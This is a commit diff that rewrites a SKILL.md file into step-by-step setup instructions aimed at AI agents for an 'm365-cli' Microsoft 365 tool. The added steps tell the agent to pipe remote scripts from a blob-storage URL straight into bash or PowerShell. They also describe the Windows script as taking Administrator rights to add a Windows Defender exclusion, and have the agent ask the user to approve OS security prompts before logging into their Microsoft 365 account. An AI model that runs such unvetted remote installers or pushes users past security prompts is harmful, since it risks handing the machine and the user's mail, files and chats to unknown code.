docs: rewrite SKILL.md setup section for AI agents

Expand the 3-line Prerequisites into a 6-step agent-oriented workflow:
install → confirm → verify binary path → login (with absolute path) →
install skill → restart session. Adds platform-specific instructions
for macOS/Linux/Windows with OS permission prompt guidance.

Co-Authored-By: Eureka <agents-noreply@craft.do>

Author: 2 people

skills/m365-cli/SKILL.md

@@ -1,12 +1,96 @@
 # m365-cli — Microsoft 365 CLI
 
-A command-line tool for accessing Microsoft 365 services directly from the terminal.
+A command-line tool that gives AI agents direct access to Microsoft 365 services (Teams, Mail, Calendar, OneDrive/SharePoint) via the terminal.
 
-## Prerequisites
+## Setup for AI Agents
 
-1. **Install**: `curl -fsSL https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.sh | bash`
-2. **Login**: `m365 login` (opens browser for Microsoft Entra ID sign-in)
-3. **Verify**: `m365 status`
+This section describes how you (the AI agent) should install and configure the CLI in your environment. The installation requires user interaction at specific steps — follow the workflow below.
+
+### Step 1: Run the installer
+
+Launch the one-liner install script. This downloads and installs the `m365` binary to the user's home directory.
+
+**macOS / Linux:**
+```bash
+curl -fsSL https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.sh | bash
+```
+
+**Windows (PowerShell):**
+```powershell
+irm https://stttthreeai024313688509.blob.core.windows.net/m365cli/install.ps1 | iex
+```
+
+**User interaction required:** The OS may prompt the user for permission before the script can execute:
+- **macOS** — Gatekeeper may block the downloaded binary. The user needs to allow it in System Settings → Privacy & Security, or approve the system dialog.
+- **Windows** — The PowerShell script requests Administrator elevation (needed to add a Windows Defender exclusion). The user must approve the UAC prompt.
+- **Linux** — No special permission needed.
+
+After launching the installer, tell the user what you did and ask them to approve any OS-level prompts that appear.
+
+### Step 2: Wait for user confirmation
+
+Ask the user to confirm that the installation completed successfully. Do not proceed until the user confirms — the installer may fail silently or the user may need to take action on OS prompts.
+
+### Step 3: Verify installation
+
+After user confirmation, verify the binary is in place:
+
+**macOS / Linux:**
+```bash
+test -f ~/.local/bin/m365 && echo "installed" || echo "not found"
+```
+
+**Windows (PowerShell):**
+```powershell
+Test-Path "$env:LOCALAPPDATA\m365-cli\m365.exe"
+```
+
+Also verify the binary is on PATH and functional:
+```bash
+m365 --help
+```
+
+If `m365` is not found on PATH, the user may need to restart their terminal (or the agent session) for PATH changes to take effect.
+
+### Step 4: Login
+
+Authenticate with Microsoft 365 using the **absolute path** to the binary (since PATH may not include the install directory in the current session):
+
+**macOS / Linux:**
+```bash
+~/.local/bin/m365 login
+```
+
+**Windows (PowerShell):**
+```powershell
+& "$env:LOCALAPPDATA\m365-cli\m365.exe" login
+```
+
+This opens the user's browser for Microsoft Entra ID sign-in. The user must complete the browser-based authentication. After login, verify the session:
+
+**macOS / Linux:**
+```bash
+~/.local/bin/m365 status
+```
+
+**Windows (PowerShell):**
+```powershell
+& "$env:LOCALAPPDATA\m365-cli\m365.exe" status
+```
+
+### Step 5: Install this skill
+
+Copy the skill file (this `SKILL.md`) into the agent's skill directory. The exact location depends on the agent platform:
+
+- **Claude Code** — Place in the project's `.claude/skills/m365-cli/SKILL.md`, or install via `claude plugin add`
+- **Eureka / Craft Agent** — Place in the workspace's `skills/m365-cli/SKILL.md`
+- **Other agents** — Consult the agent's documentation for where to place skill/instruction files
+
+### Step 6: Restart the agent session
+
+After installing the skill file, **start a new agent session** (or restart the current one). Most agents load skill files at session startup, so the new skill won't be available until the session is reloaded.
+
+After restart, `m365` should be on PATH. All commands in the rest of this document assume `m365` is available directly.
 
 ## Usage Pattern